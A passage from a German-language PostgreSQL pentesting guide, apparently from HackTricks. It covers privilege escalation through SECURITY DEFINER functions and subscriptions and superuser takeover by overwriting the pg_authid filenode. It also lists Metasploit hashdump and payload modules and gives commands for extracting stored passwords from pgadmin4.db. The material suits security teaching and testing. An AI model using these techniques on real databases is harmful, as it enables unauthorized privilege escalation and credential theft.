PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
Wie [**in den Dokumenten erklärt**](https://www.postgresql.org/docs/current/sql-createfunction.html) wird eine Funktion mit **SECURITY DEFINER** mit den Rechten des **Benutzers, der sie besitzt, ausgeführt**. Daher könnte die Funktion, wenn sie **anfällig für SQL-Injection ist** oder **privilegierte Aktionen mit von dem Angreifer kontrollierten Parametern durchführt**, missbraucht werden, um **Privilegien innerhalb von Postgres zu eskalieren**. In Zeile 4 des vorherigen Codes sehen Sie, dass die Funktion das **SECURITY DEFINER**-Flag hat. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` Und dann **Befehle ausführen**:
### Pass Burteforce mit PL/pgSQL **PL/pgSQL** ist eine **vollständig ausgestattete Programmiersprache**, die eine größere prozedurale Kontrolle im Vergleich zu SQL bietet. Sie ermöglicht die Verwendung von **Schleifen** und anderen **Kontrollstrukturen**, um die Programmlogik zu verbessern. Darüber hinaus haben **SQL-Anweisungen** und **Trigger** die Fähigkeit, Funktionen aufzurufen, die mit der **PL/pgSQL-Sprache** erstellt wurden. Diese Integration ermöglicht einen umfassenderen und vielseitigeren Ansatz für die Datenbankprogrammierung und -automatisierung.\ **Sie können diese Sprache missbrauchen, um PostgreSQL zu bitten, die Benutzeranmeldeinformationen zu brute-forcen.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} [pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) {% endcontent-ref %} ### Privesc durch Überschreiben interner PostgreSQL-Tabellen {% hint style="info" %} Der folgende Privesc-Vektor ist besonders nützlich in eingeschränkten SQLi-Kontexten, da alle Schritte durch geschachtelte SELECT-Anweisungen durchgeführt werden können. {% endhint %} Wenn Sie **PostgreSQL-Serverdateien lesen und schreiben können**, können Sie **Superuser** werden, indem Sie den PostgreSQL-Filenode auf der Festplatte überschreiben, der mit der internen `pg_authid`-Tabelle verbunden ist. Lesen Sie mehr über **diese Technik** [**hier**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.** Die Angriffsschritte sind: 1. Erhalten Sie das PostgreSQL-Datenverzeichnis 2. Erhalten Sie einen relativen Pfad zum Filenode, der mit der `pg_authid`-Tabelle verbunden ist 3. Laden Sie den Filenode über die `lo_*`-Funktionen herunter 4. Erhalten Sie den Datentyp, der mit der `pg_authid`-Tabelle verbunden ist 5. Verwenden Sie den [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor), um den [Filenode zu bearbeiten](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); setzen Sie alle `rol*`-Boolean-Flags auf 1 für volle Berechtigungen. 6. Laden Sie den bearbeiteten Filenode über die `lo_*`-Funktionen erneut hoch und überschreiben Sie die Originaldatei auf der Festplatte 7. _(Optional)_ Leeren Sie den In-Memory-Tabellen-Cache, indem Sie eine teure SQL-Abfrage ausführen 8. Sie sollten jetzt die Berechtigungen eines vollständigen Superadmins haben. ## **POST** ``` msf> use auxiliary/scanner/postgres/postgres_hashdump msf> use auxiliary/scanner/postgres/postgres_schemadump msf> use auxiliary/admin/postgres/postgres_readfile msf> use exploit/linux/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload ``` ### logging Innerhalb der _**postgresql.conf**_ Datei können Sie die PostgreSQL-Protokolle aktivieren, indem Sie ändern: ```bash log_statement = 'all' log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' logging_collector = on sudo service postgresql restart #Find the logs in /var/lib/postgresql//main/log/ #or in /var/lib/postgresql//main/pg_log/ ``` Dann **starten Sie den Dienst neu**. ### pgadmin [pgadmin](https://www.pgadmin.org) ist eine Verwaltungs- und Entwicklungsplattform für PostgreSQL.\ Sie können **Passwörter** in der _**pgadmin4.db**_-Datei finden.\ Sie können sie mit der _**decrypt**_-Funktion im Skript entschlüsseln: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" sqlite3 pgadmin4.db "select * from server;" string pgadmin4.db ``` ### pg\_hba Die Client-Authentifizierung in PostgreSQL wird über eine Konfigurationsdatei namens **pg\_hba.conf** verwaltet. Diese Datei enthält eine Reihe von Einträgen, von denen jeder einen Verbindungstyp, einen IP-Adressbereich des Clients (falls zutreffend), den Datenbanknamen, den Benutzernamen und die zu verwendende Authentifizierungsmethode zur Übereinstimmung mit Verbindungen angibt. Der erste Eintrag, der mit dem Verbindungstyp, der Client-Adresse, der angeforderten Datenbank und dem Benutzernamen übereinstimmt, wird zur Authentifizierung verwendet. Es gibt keinen Fallback oder Backup, wenn die Authentifizierung fehlschlägt. Wenn kein Eintrag übereinstimmt, wird der Zugriff verweigert. Die verfügbaren passwortbasierten Authentifizierungsmethoden in pg\_hba.conf sind **md5**, **crypt** und **password**. Diese Methoden unterscheiden sich darin, wie das Passwort übertragen wird: MD5-gehasht, crypt-verschlüsselt oder im Klartext. Es ist wichtig zu beachten, dass die crypt-Methode nicht mit Passwörtern verwendet werden kann, die in pg\_authid verschlüsselt wurden. {% hint style="success" %} Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Unterstütze HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %}
\ Nutze [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\ Erhalte heute Zugang: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}